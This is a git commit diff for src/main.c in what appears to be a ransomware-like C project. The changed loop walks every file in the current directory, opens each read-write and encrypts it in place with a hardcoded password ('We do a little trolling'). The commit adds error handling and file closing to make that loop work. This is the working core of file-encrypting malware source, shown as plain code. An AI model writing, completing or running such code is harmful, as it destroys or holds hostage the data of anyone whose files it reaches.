diff options
| author | @syxhe <https://t.me/syxhe> | 2024-06-29 05:12:39 -0500 |
|---|---|---|
| committer | @syxhe <https://t.me/syxhe> | 2024-06-29 05:12:39 -0500 |
| commit | 221f41078fc42fffce49e59ed338819516594607 (patch) | |
| tree | 2ad7eb9a0ed8f4e10d4f31a801772cd527aa76d3 /src | |
| parent | 863a7a0a45c3ed01af8e155a648b55b59bed4594 (diff) | |
Try again
Diffstat (limited to 'src')
| -rw-r--r-- | src/main.c | 16 |
1 files changed, 15 insertions, 1 deletions
| @@ -15,14 +15,28 @@ | |||
| 15 | #include "search.h" | 15 | #include "search.h" |
| 16 | #include "ll.h" | 16 | #include "ll.h" |
| 17 | 17 | ||
| 18 | #include <sys/types.h> | ||
| 19 | #include <sys/stat.h> | ||
| 20 | #include <unistd.h> | ||
| 21 | #include <fcntl.h> | ||
| 22 | |||
| 23 | #include <errno.h> | ||
| 24 | #include <error.h> | ||
| 25 | |||
| 18 | int main() { | 26 | int main() { |
| 19 | // Get folders | 27 | // Get folders |
| 20 | struct nodelist *files = scanfiles("./", alphasort); | 28 | struct nodelist *files = scanfiles("./", alphasort); |
| 21 | 29 | ||
| 22 | // Encrypt those files | 30 | // Encrypt those files |
| 23 | for(struct nodelist *p = files; p != NULL; p = p->next) { | 31 | for(struct nodelist *p = files; p != NULL; p = p->next) { |
| 24 | int fd = open(p->fullpath); | 32 | int fd = open(p->fullpath, O_RDWR); |
| 33 | if(fd < 0) { | ||
| 34 | error(0, errno, "Couldn't open file \"%s\" for some reason", p->fullpath); | ||
| 35 | continue; | ||
| 36 | } | ||
| 37 | |||
| 25 | passencblock(fd, "We do a little trolling"); | 38 | passencblock(fd, "We do a little trolling"); |
| 39 | close(fd); | ||
| 26 | } | 40 | } |
| 27 | 41 | ||
| 28 | nodelist_delete(files); | 42 | nodelist_delete(files); |
